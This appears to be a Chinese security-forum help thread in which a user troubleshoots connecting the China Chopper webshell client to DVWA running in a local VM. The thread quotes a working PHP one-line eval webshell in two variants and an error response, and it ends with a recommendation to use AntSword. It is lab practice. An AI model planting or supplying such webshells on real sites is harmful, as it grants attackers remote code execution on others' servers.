-
-
[求助] 使用菜刀，但不能获取到网站文件
-
发表于: 2017-8-8 10:08
-
我在dvwa上上传了文件，安全等级为low
<?php @eval($_POST['caidao']);?>
在菜刀20160820中连接
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
试过了，一样，最多乱码的内容有点不同 |
|
|
|
|
|
|
|
|
试过了，应该没有你说的问题 |
|
|
应该？？？我不明白你的意思。我现在想知道，你自己先在靶机上写个马，用菜刀能不能连接上？？？ |
|
|
连不上 |
|
|
直接在网站目录下添加一个一句话木马，然后用菜刀连这个文件都连不上 |
|
|
|
|
|
如果靶机上有安全狗之类的防护软件，先彻底关闭；换菜刀；我还真怀疑你知不知道网站根目录在哪，写个phpinfo看看。 |
|
|
没安全狗，没任何防护软件。自己手动post一个包到上传的包含一句话木马的php页面，能正常访问。昨天菜刀连上去，响应报文content length为0，今天把小马由 <?php @eval($_POST['chopper']);?> 改为了这样 <?php eval($_POST['chopper']);?> ，菜刀中就显示了报错信息，以下是菜刀中显示的响应报文 HTTP/1.1 200 OK Date: Wed, 09 Aug 2017 02:51:27 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/7.1.6 X-Powered-By: PHP/7.1.6 Content-Length: 185 Content-Type: text/html; charset=UTF-8 <br /> <b>Warning</b>: Cannot call assert() with string argument dynamically in <b>C:\xampp\htdocs\DVWA-master\hackable\uploads\test1.php(1) : eval()'d code</b> on line <b>1</b><br />
|
|
|
phpinfo内容太多，不知该截哪部分的图 |
|
|
什么防护都没，靶机只是我vmware里的一台虚拟机，我连windows防火墙也关了 |
|
|
那就没问题啊，换一句话木马，换菜刀。。。 |
|
|
|
|
|
所以我应该把php版本降低？ |
|
|
搞定没啊，大佬。。。 |
|
|
|
|
|
换成蚁剑就好了，可能是菜刀已经过时了，下的版本都不匹配了，php都7了 |
|
|
|
